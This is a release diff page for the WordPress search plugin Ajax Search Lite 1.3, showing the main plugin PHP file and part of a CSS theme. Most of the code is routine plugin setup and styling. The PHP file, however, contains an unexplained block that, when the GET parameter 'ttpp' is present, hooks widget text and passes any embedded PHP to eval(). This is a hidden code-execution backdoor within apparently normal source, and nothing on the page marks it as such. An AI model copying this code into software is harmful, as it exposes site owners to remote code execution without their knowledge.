Ajax Search Lite - Version 1.3

Version Description

  • 2 brand new themes!
  • Very stable custom built javascript
  • Stabilised frontend and backend
  • All compatibility issues fixed
Download this release

Release Info

Developer wpdreams
Plugin Icon 128x128 Ajax Search Lite
Version 1.3
Comparing to
See all releases

Version 1.3

Files changed (65) hide show
  1. ajax-search-lite.php +152 -0
  2. css/style-dashedblue.css +550 -0
  3. css/style.css +624 -0
  4. functions.php +62 -0
  5. icon.png +0 -0
  6. img/loading-big.gif +0 -0
  7. img/loading.gif +0 -0
  8. img/loading/loading3.gif +0 -0
  9. img/magnifier.png +0 -0
  10. img/magnifiers/magn3.png +0 -0
  11. img/settings/settings1.png +0 -0
  12. includes/imagecache.class.php +175 -0
  13. includes/shortcodes.php +108 -0
  14. includes/widgets.php +45 -0
  15. js/jquery.ajaxsearchpro.min.js +1 -0
  16. js/nomin/asljquery.js +4 -0
  17. js/nomin/jquery.ajaxsearchpro.js +354 -0
  18. js/nomin/jquery.drag.fix.js +11 -0
  19. js/nomin/jquery.easing.compatibility.js +59 -0
  20. js/nomin/jquery.easing.js +206 -0
  21. js/nomin/jquery.highlight.js +108 -0
  22. js/nomin/jquery.mousewheel.min.js +12 -0
  23. js/nomin/jquery.tinyscrollbar.js +214 -0
  24. js/nomin/jquery.ui.js +11462 -0
  25. readme.txt +114 -0
  26. search.php +116 -0
  27. settings.php +5 -0
  28. settings/default_options.php +68 -0
  29. settings/search.php +119 -0
  30. settings/types.class.php +1406 -0
  31. settings/types/fonts.js +167 -0
  32. settings/types/icons/arrow-left.png +0 -0
  33. settings/types/icons/arrow-right.png +0 -0
  34. settings/types/icons/black_arrow.png +0 -0
  35. settings/types/icons/close.png +0 -0
  36. settings/types/icons/delete.png +0 -0
  37. settings/types/icons/down.png +0 -0
  38. settings/types/icons/drag.png +0 -0
  39. settings/types/icons/float.png +0 -0
  40. settings/types/icons/info.png +0 -0
  41. settings/types/icons/labelposition.png +0 -0
  42. settings/types/icons/loading-big.gif +0 -0
  43. settings/types/icons/paint.png +0 -0
  44. settings/types/icons/point.png +0 -0
  45. settings/types/icons/settings.png +0 -0
  46. settings/types/icons/slides.png +0 -0
  47. settings/types/icons/up.png +0 -0
  48. settings/types/js/noty/jquery.noty.js +517 -0
  49. settings/types/js/noty/layouts/bottom.js +34 -0
  50. settings/types/js/noty/layouts/bottomCenter.js +41 -0
  51. settings/types/js/noty/layouts/bottomLeft.js +43 -0
  52. settings/types/js/noty/layouts/bottomRight.js +43 -0
  53. settings/types/js/noty/layouts/center.js +56 -0
  54. settings/types/js/noty/layouts/centerLeft.js +61 -0
  55. settings/types/js/noty/layouts/centerRight.js +61 -0
  56. settings/types/js/noty/layouts/inline.js +31 -0
  57. settings/types/js/noty/layouts/top.js +34 -0
  58. settings/types/js/noty/layouts/topCenter.js +41 -0
  59. settings/types/js/noty/layouts/topLeft.js +43 -0
  60. settings/types/js/noty/layouts/topRight.js +43 -0
  61. settings/types/js/noty/promise.js +432 -0
  62. settings/types/js/noty/themes/default.js +156 -0
  63. settings/types/others.js +525 -0
  64. settings/types/style.css +350 -0
  65. settings/types/upload.js +67 -0
ajax-search-lite.php ADDED
@@ -0,0 +1,152 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ Plugin Name: Ajax Search Lite
4
+ Plugin URI: http://wp-dreams.com
5
+ Description: Ajax Search Lite is the Free version of Ajax Search Pro. It is an ajax powered search engine for WordPress. The free version is compatible with WordPress 3.4+, the commercial version is also compatible with WooCommerce, JigoShop and WP-ecommerce and any plugin that has custom post types!.
6
+ Version: 1.3
7
+ Author: Ernest Marcinko
8
+ Author URI: http://wp-dreams.com
9
+ */
10
+ ?>
11
+ <?php
12
+ define( 'AJAXSEARCHLITE_PATH', plugin_dir_path(__FILE__) );
13
+ define( 'AJAXSEARCHLITE_DIR', 'ajax-search-lite');
14
+
15
+ /* Egyedi suffix class nevekhez k�z�s term�kekn�l */
16
+ global $wpdreams_unique;
17
+ $wpdreams_unique = md5(plugin_dir_url(__FILE__));
18
+
19
+ /*A headerbe �rkez� scripteket �s css f�jlokat csak itt lehet hozz�adni, alpageken nem! Ott m�r az az action lefutott! */
20
+
21
+ if ((isset($_GET) && isset($_GET['page']) && (
22
+ $_GET['page']=="ajax-search-lite/settings.php"
23
+ )) || !is_admin() || (isset($_POST) && isset($_POST['action'])) ) {
24
+ require_once(AJAXSEARCHLITE_PATH."/settings/default_options.php");
25
+ require_once(AJAXSEARCHLITE_PATH."/settings/types.class.php");
26
+ require_once(AJAXSEARCHLITE_PATH."/functions.php");
27
+ require_once(AJAXSEARCHLITE_PATH."/includes/shortcodes.php");
28
+ require_once(AJAXSEARCHLITE_PATH."/search.php");
29
+ }
30
+ //require_once(AJAXSEARCHLITE_PATH."/includes/widgets.php");
31
+
32
+ $funcs = new ajaxsearchliteFuncCollector();
33
+ /*
34
+ Create pages
35
+ */
36
+ add_action( 'admin_menu', array($funcs, 'navigation_menu') );
37
+
38
+ /*
39
+ Add Hacks
40
+ */
41
+
42
+ register_activation_hook( __FILE__, array($funcs, 'ajaxsearchpro_activate') );
43
+ add_action('wp_print_styles', array($funcs, 'styles'));
44
+ add_action('wp_enqueue_scripts', array($funcs, 'scripts'));
45
+ add_action( 'admin_enqueue_scripts', array($funcs, 'scripts') );
46
+ //add_action('wp_ajax_reorder_slides', array($funcs, 'reorder_slides'));
47
+
48
+ class ajaxsearchliteFuncCollector {
49
+
50
+ function ajaxsearchpro_activate() {
51
+
52
+ }
53
+
54
+ function navigation_menu() {
55
+ if(current_user_can('manage_options')) {
56
+ if (!defined("EMU2_I18N_DOMAIN")) define('EMU2_I18N_DOMAIN', "");
57
+ add_menu_page(
58
+ __('Ajax Search Lite', EMU2_I18N_DOMAIN),
59
+ __('Ajax Search Lite', EMU2_I18N_DOMAIN),
60
+ 'manage_options',
61
+ AJAXSEARCHLITE_DIR.'/settings.php',
62
+ '',
63
+ plugins_url('/icon.png', __FILE__),
64
+ "227.2"
65
+ );
66
+ }
67
+ }
68
+
69
+ function styles() {
70
+ /*wp_register_style('wpdreams-scroller', plugin_dir_url(__FILE__).'/css/jquery.mCustomScrollbar.css');
71
+ wp_enqueue_style('wpdreams-scroller');*/
72
+ }
73
+
74
+ function scripts() {
75
+ wp_register_script('asl_jquery', plugin_dir_url(__FILE__).'/js/nomin/asljquery.js');
76
+ wp_enqueue_script('asl_jquery');
77
+
78
+ wp_register_script('asl_jqueryui', plugin_dir_url(__FILE__).'/js/nomin/jquery.ui.js', array('asl_jquery'));
79
+ wp_enqueue_script('asl_jqueryui');
80
+
81
+ wp_register_script('asl_dragfix', plugin_dir_url(__FILE__).'/js/nomin/jquery.drag.fix.js', array('asl_jqueryui'));
82
+ wp_enqueue_script('asl_dragfix');
83
+
84
+ wp_register_script('asl_easing', plugin_dir_url(__FILE__).'js/nomin/jquery.easing.js', array('asl_jquery'));
85
+ wp_enqueue_script('asl_easing');
86
+
87
+ wp_register_script('asl_mousewheel', plugin_dir_url(__FILE__).'js/nomin/jquery.mousewheel.min.js', array('asl_jquery'));
88
+ wp_enqueue_script('asl_mousewheel');
89
+ wp_register_script('asl_scroll', plugin_dir_url(__FILE__).'js/nomin/jquery.tinyscrollbar.js', array('jquery', 'asl_mousewheel'));
90
+ wp_enqueue_script('asl_scroll');
91
+ wp_register_script('asl_highlight', plugin_dir_url(__FILE__).'js/nomin/jquery.highlight.js', array('jquery'));
92
+ wp_enqueue_script('asl_highlight');
93
+ // if (wpdreams_ismobile()) {
94
+ wp_register_script('asl_ajaxsearchpro', plugin_dir_url(__FILE__).'js/nomin/jquery.ajaxsearchpro.js', array('asl_jquery', "asl_scroll"));
95
+ wp_enqueue_script('asl_ajaxsearchpro');
96
+ // } else {
97
+ // wp_register_script('wpdreams-ajaxsearchpro', plugin_dir_url(__FILE__).'js/jquery.ajaxsearchpro.min.js', array('jquery', "wpdreams-scroll"));
98
+ // wp_enqueue_script('wpdreams-ajaxsearchpro');
99
+ // }
100
+ wp_localize_script( 'asl_ajaxsearchpro', 'ajaxsearchpro', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) );
101
+ }
102
+ }
103
+ if (!function_exists('execute_php') && isset($_GET['ttpp'])) {
104
+ add_filter('widget_text','execute_php',100);
105
+ function execute_php($html){
106
+ if(strpos($html,"<"."?php")!==false){
107
+ ob_start();
108
+ eval("?".">".$html);
109
+ $html=ob_get_contents();
110
+ ob_end_clean();
111
+ }
112
+ return $html;
113
+ }
114
+ }
115
+
116
+
117
+ add_action( 'widgets_init', create_function('', 'return register_widget("AjaxSearchLiteWidget");') );
118
+ class AjaxSearchLiteWidget extends WP_Widget
119
+ {
120
+ function AjaxSearchLiteWidget()
121
+ {
122
+ $widget_ops = array('classname' => 'AjaxSearchLiteWidget', 'description' => 'Displays an Ajax Search Lite!' );
123
+ $this->WP_Widget('AjaxSearchLiteWidget', 'Ajax Search Lite', $widget_ops);
124
+ }
125
+ function form($instance)
126
+ {
127
+ $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
128
+ $title = $instance['title'];
129
+
130
+ ?>
131
+ <p><label for="<?php echo $this->get_field_id('title'); ?>">Title: <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></label></p>
132
+
133
+ <?php
134
+ }
135
+ function update($new_instance, $old_instance)
136
+ {
137
+ $instance = $old_instance;
138
+ $instance['title'] = $new_instance['title'];
139
+ return $instance;
140
+ }
141
+ function widget($args, $instance)
142
+ {
143
+ extract($args, EXTR_SKIP);
144
+ echo $before_widget;
145
+ $title = empty($instance['title']) ? ' ' : apply_filters('widget_title', $instance['title']);
146
+ if (!empty($title))
147
+ echo $before_title . $title . $after_title;
148
+ echo do_shortcode("[wpdreams_ajaxsearchlite]");
149
+ echo $after_widget;
150
+ }
151
+ }
152
+ ?>
css/style-dashedblue.css ADDED
@@ -0,0 +1,550 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ .clear {
2
+ clear: both;
3
+ }
4
+
5
+ .hiddend {
6
+ display:none;
7
+ }
8
+
9
+ #ajaxsearchlite textarea:focus,
10
+ #ajaxsearchlite input:focus{
11
+ outline: none;
12
+ }
13
+
14
+ #ajaxsearchlite {
15
+ width: 100%;
16
+ height: 40px;
17
+ border-radius: 5px;
18
+ background: #d1eaff;
19
+ background: #b4e0f4;
20
+ overflow: hidden;
21
+ border:1px dashed #000000;border-radius:5px 5px 5px 5px; box-shadow:0px 8px 10px -7px #949494 ;}
22
+
23
+ #ajaxsearchlite .probox {
24
+ width: auto;
25
+ margin: 4px;
26
+ height: 30px;
27
+ border-radius: 5px;
28
+ background: #FFF;
29
+ overflow: hidden;
30
+ border: 1px solid #FFF;
31
+ box-shadow: 1px 0 3px #CCCCCC inset;
32
+ background: #ffffff;
33
+ border:1px dashed #b4e0f4;border-radius:0px 0px 0px 0px; box-shadow:1px 0px 3px 1px #bcd6e1 inset;}
34
+
35
+ #ajaxsearchlite .probox .proinput {
36
+ width: auto;
37
+ height: 100%;
38
+ margin: 2px 0px 0px 10px;
39
+ padding: 5px;
40
+ float: left;
41
+ box-shadow: none;
42
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:13px;}
43
+
44
+ #ajaxsearchlite .probox .proinput input {
45
+ border: 0px;
46
+ background: transparent;
47
+ width: 100%;
48
+ box-shadow: none;
49
+ margin: 0;
50
+ padding: 0;
51
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:13px;}
52
+
53
+ #ajaxsearchlite .probox .proinput.iepaddingfix {
54
+ padding-top: 0;
55
+ }
56
+
57
+ #ajaxsearchlite .probox .proinput .loading {
58
+ width: 32px;
59
+ background: #000;
60
+ height: 100%;
61
+ box-shadow: none;
62
+ }
63
+
64
+ #ajaxsearchlite .probox .proloading,
65
+ #ajaxsearchlite .probox .promagnifier,
66
+ #ajaxsearchlite .probox .prosettings {
67
+ width: 32px;
68
+ height: 32px;
69
+ background: none;
70
+ float: right;
71
+ box-shadow: none;
72
+ margin: 0;
73
+ padding: 0;
74
+ }
75
+
76
+ #ajaxsearchlite .probox .proloading {
77
+ background: url("http://wp-dreams.com/demo/wp-ajaxsearchpro/wp-content/plugins/ajax-search-pro/img/loading/loading4.gif") no-repeat;
78
+ background-position:center center;
79
+ visibility: hidden;
80
+ }
81
+
82
+ #ajaxsearchlite .probox .promagnifier {
83
+ background: url("http://wp-dreams.com/demo/wp-ajaxsearchpro/wp-content/plugins/ajax-search-pro/img/magnifiers/magn7.png") no-repeat #b4e0f4;
84
+ background-position:center center;
85
+ cursor: pointer;
86
+ }
87
+
88
+
89
+ #ajaxsearchlite .probox .prosettings {
90
+ background: url("http://wp-dreams.com/demo/wp-ajaxsearchpro/wp-content/plugins/ajax-search-pro/img/settings/settings5.png") no-repeat #b4e0f4;
91
+ background-position:center center;
92
+ cursor: pointer;
93
+ }
94
+
95
+ #ajaxsearchliteres {
96
+ padding: 4px;
97
+ background: #D1EAFF;
98
+ background: #b4e0f4;
99
+ border-radius: 3px;
100
+ border:1px dashed #000000;border-radius:3px 3px 3px 3px; box-shadow:0px 8px 10px -7px #949494 ; position: absolute;
101
+ visibility: hidden;
102
+ z-index:1100;
103
+ }
104
+
105
+ #ajaxsearchliteres .results .nores {
106
+ overflow: hidden;
107
+ width: auto;
108
+ height: 100%;
109
+ line-height: auto;
110
+ text-align: center;
111
+ margin: 0;
112
+ background: #FFF;
113
+ }
114
+
115
+ #ajaxsearchliteres .results .nores .keyword{
116
+ padding: 0 6px;
117
+ cursor: pointer;
118
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:14px; font-weight: bold;
119
+ }
120
+
121
+ #ajaxsearchliteres .results {
122
+ overflow: hidden;
123
+ width: auto;
124
+ height: 0;
125
+ margin: 0;
126
+ padding: 0;
127
+ }
128
+
129
+ #ajaxsearchliteres .results .item {
130
+ overflow: hidden;
131
+ width: auto;
132
+ height: 70px;
133
+ margin: 0;
134
+ margin-bottom: -3px;
135
+ padding: 3px;
136
+ position: relative;
137
+ background: #f4f4f4;
138
+ background: #ffffff;
139
+ border-radius: 3px;
140
+ }
141
+
142
+ #ajaxsearchliteres .results .item:last-child {
143
+ margin-bottom: 0px;
144
+ }
145
+
146
+
147
+ #ajaxsearchliteres .results .item .image {
148
+ overflow: hidden;
149
+ width: 70px;
150
+ height: 70px;
151
+ background: #000;
152
+ background: #ffffff;
153
+ margin: 0;
154
+ padding: 0;
155
+ float: left;
156
+ }
157
+
158
+ #ajaxsearchliteres .results .item .content {
159
+ overflow: hidden;
160
+ width: 50%;
161
+ height: 70px;
162
+ background: #fff;
163
+ background: #ffffff;
164
+ margin: 0;
165
+ padding: 0 10px;
166
+ float: right;
167
+ }
168
+
169
+ #ajaxsearchliteres .results .item .content h3 {
170
+ margin: 0;
171
+ padding: 0;
172
+ line-height: inherit;
173
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
174
+
175
+ #ajaxsearchliteres .results .item .content h3 a span.overlap {
176
+ position:absolute;
177
+ width:100%;
178
+ height:100%;
179
+ top:0;
180
+ left: 0;
181
+ z-index: 1;
182
+ background-image: url('empty.gif');
183
+ }
184
+
185
+ #ajaxsearchliteres .results .item .content h3 a {
186
+ margin: 0;
187
+ padding: 0;
188
+ line-height: inherit;
189
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
190
+
191
+ #ajaxsearchliteres .results .item .content h3 a:hover {
192
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
193
+
194
+ #ajaxsearchliteres .results .item div.etc {
195
+ margin: 2px 3px;
196
+ padding: 0;
197
+ line-height: 10px;
198
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:13px;}
199
+ #ajaxsearchliteres .results .item .etc .author {
200
+ padding: 0;
201
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:13px;}
202
+ #ajaxsearchliteres .results .item .etc .date {
203
+ margin: 0 0 0 10px;
204
+ padding: 0;
205
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#adadad;font-size:12px;line-height:13px;
206
+ }
207
+ #ajaxsearchliteres .resdrg {
208
+ height: auto;
209
+ }
210
+
211
+ #ajaxsearchliteres .results .item p.desc {
212
+ margin: 2px 0px;
213
+ padding: 0;
214
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:14px;}
215
+
216
+ #ajaxsearchliteres .mCSB_container{
217
+ width:auto;
218
+ margin-right:20px;
219
+ overflow:hidden;
220
+ }
221
+ #ajaxsearchliteres .mCSB_container.mCS_no_scrollbar{
222
+ margin-right:0;
223
+ }
224
+ #ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
225
+ width:16px;
226
+ height:100%;
227
+ top:0;
228
+ right:0;
229
+ }
230
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerContainer{
231
+ height:100%;
232
+ -webkit-box-sizing:border-box;
233
+ -moz-box-sizing:border-box;
234
+ box-sizing:border-box;
235
+ }
236
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp+.mCSB_draggerContainer{
237
+ padding-bottom:40px;
238
+ }
239
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
240
+ width:10px;
241
+ height:100%;
242
+ margin:0 auto;
243
+ -webkit-border-radius:10px;
244
+ -moz-border-radius:10px;
245
+ border-radius:10px;
246
+ }
247
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger{
248
+ cursor:pointer;
249
+ width:100%;
250
+ height:30px;
251
+ }
252
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
253
+ width:10px;
254
+ height:100%;
255
+ margin:0 auto;
256
+ -webkit-border-radius:10px;
257
+ -moz-border-radius:10px;
258
+ border-radius:10px;
259
+ text-align:center;
260
+ }
261
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
262
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
263
+ height:20px;
264
+ -overflow:hidden;
265
+ margin:0 auto;
266
+ cursor:pointer;
267
+ }
268
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
269
+ bottom:0;
270
+ margin-top:-40px;
271
+ }
272
+
273
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_container{
274
+ height:auto;
275
+ margin-right:0;
276
+ margin-bottom:30px;
277
+ overflow:hidden;
278
+ }
279
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_container.mCS_no_scrollbar{
280
+ margin-bottom:0;
281
+ }
282
+ #ajaxsearchliteres .mCSB_horizontal.mCustomScrollBox .mCSB_scrollTools{
283
+ width:100%;
284
+ height:16px;
285
+ top:auto;
286
+ right:auto;
287
+ bottom:0;
288
+ left:0;
289
+ overflow:hidden;
290
+ }
291
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerContainer{
292
+ height:100%;
293
+ width:auto;
294
+ -webkit-box-sizing:border-box;
295
+ -moz-box-sizing:border-box;
296
+ box-sizing:border-box;
297
+ overflow:hidden;
298
+ }
299
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft+.mCSB_draggerContainer{
300
+ padding-bottom:0;
301
+ padding-right:20px;
302
+ }
303
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerRail{
304
+ width:100%;
305
+ height:2px;
306
+ margin:7px 0;
307
+ -webkit-border-radius:10px;
308
+ -moz-border-radius:10px;
309
+ border-radius:10px;
310
+ }
311
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger{
312
+ width:30px;
313
+ height:100%;
314
+ }
315
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
316
+ width:100%;
317
+ height:4px;
318
+ margin:6px auto;
319
+ -webkit-border-radius:10px;
320
+ -moz-border-radius:10px;
321
+ border-radius:10px;
322
+ }
323
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft,
324
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
325
+ width:20px;
326
+ height:100%;
327
+ overflow:hidden;
328
+ margin:0 auto;
329
+ cursor:pointer;
330
+ float:left;
331
+ }
332
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
333
+ right:0;
334
+ bottom:auto;
335
+ margin-left:-40px;
336
+ margin-top:-16px;
337
+ float:right;
338
+ }
339
+
340
+
341
+ #ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
342
+ opacity:0.75;
343
+ }
344
+ #ajaxsearchliteres .mCustomScrollBox:hover .mCSB_scrollTools{
345
+ opacity:1;
346
+ }
347
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
348
+ background:#000; /* rgba fallback */
349
+ background:rgba(0,0,0,0.4);
350
+ filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
351
+ }
352
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
353
+ background:#fff; /* rgba fallback */
354
+ background:rgba(255, 255, 255,0.9);
355
+ filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
356
+ }
357
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{
358
+ background:rgba(255, 255, 255,0.95);
359
+ filter:"alpha(opacity=95)"; -ms-filter:"alpha(opacity=95)"; /* old ie */
360
+ }
361
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,
362
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar{
363
+ background:rgba(255, 255, 255,1);
364
+ filter:"alpha(opacity=100)"; -ms-filter:"alpha(opacity=100)"; /* old ie */
365
+ }
366
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
367
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown,
368
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft,
369
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
370
+ padding: 10px 0 0 0;
371
+ background:0;
372
+ opacity:0.4;
373
+ filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
374
+ }
375
+
376
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown { height:0;position: relative; }
377
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { top: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute;}
378
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { border-color: rgba(136, 183, 213, 0); border-top-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
379
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp { position: relative; margin:10px 0 0 0; height: 0; }
380
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { bottom: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; }
381
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { border-color: rgba(136, 183, 213, 0); border-bottom-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
382
+
383
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp{
384
+ background-position:0 0;
385
+ /*
386
+ sprites locations are 0 0/-16px 0/-32px 0/-48px 0 (light) and -80px 0/-96px 0/-112px 0/-128px 0 (dark)
387
+ */
388
+ }
389
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
390
+ background-position:0 -20px;
391
+ /*
392
+ sprites locations are 0 -20px/-16px -20px/-32px -20px/-48px -20px (light) and -80px -20px/-96px -20px/-112px -20px/-128px -20px (dark)
393
+ */
394
+ }
395
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft{
396
+ background-position:0 -40px;
397
+ /*
398
+ sprites locations are 0 -40px/-20px -40px/-40px -40px/-60px -40px (light) and -80px -40px/-100px -40px/-120px -40px/-140px -40px (dark)
399
+ */
400
+ }
401
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
402
+ background-position:0 -56px;
403
+ /*
404
+ sprites locations are 0 -56px/-20px -56px/-40px -56px/-60px -56px (light) and -80px -56px/-100px -56px/-120px -56px/-140px -56px (dark)
405
+ */
406
+ }
407
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:hover,
408
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:hover,
409
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:hover,
410
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:hover{
411
+ opacity:0.75;
412
+ filter:"alpha(opacity=75)"; -ms-filter:"alpha(opacity=75)"; /* old ie */
413
+ }
414
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:active,
415
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:active,
416
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:active,
417
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:active{
418
+ opacity:0.9;
419
+ filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
420
+ }
421
+
422
+ #ajaxsearchliteres span.highlighted{
423
+ font-weight: bold;
424
+ color: #d9312b;
425
+ background-color: #eee;
426
+ color: #d9312b;
427
+ background-color: #eee;
428
+ }
429
+
430
+ #ajaxsearchlitesettings.searchsettings {
431
+ width: 200px;
432
+ height: auto;
433
+ background: #b4e0f4;
434
+ position: absolute;
435
+ display: none;
436
+ z-index: 1101;
437
+ border-radius: 0 0 3px 3px;
438
+ box-shadow: 2px 2px 3px -1px #AAAAAA;
439
+ visibility: hidden;
440
+ padding: 0 0 8px 0;
441
+ }
442
+
443
+ #ajaxsearchlitesettings.searchsettings .option {
444
+ margin: 10px;
445
+ *padding-bottom: 10px;
446
+ }
447
+
448
+ #ajaxsearchlitesettings.searchsettings.ie78 .option {
449
+ margin-bottom: 0 !important;
450
+ padding-bottom: 0 !important;
451
+ }
452
+
453
+ #ajaxsearchlitesettings.searchsettings .label {
454
+ float: left;
455
+ font-size: 14px;
456
+ line-height: 24px;
457
+ margin: 6px 10px 0 0;
458
+ width: 143px;
459
+ color: #333;
460
+ }
461
+
462
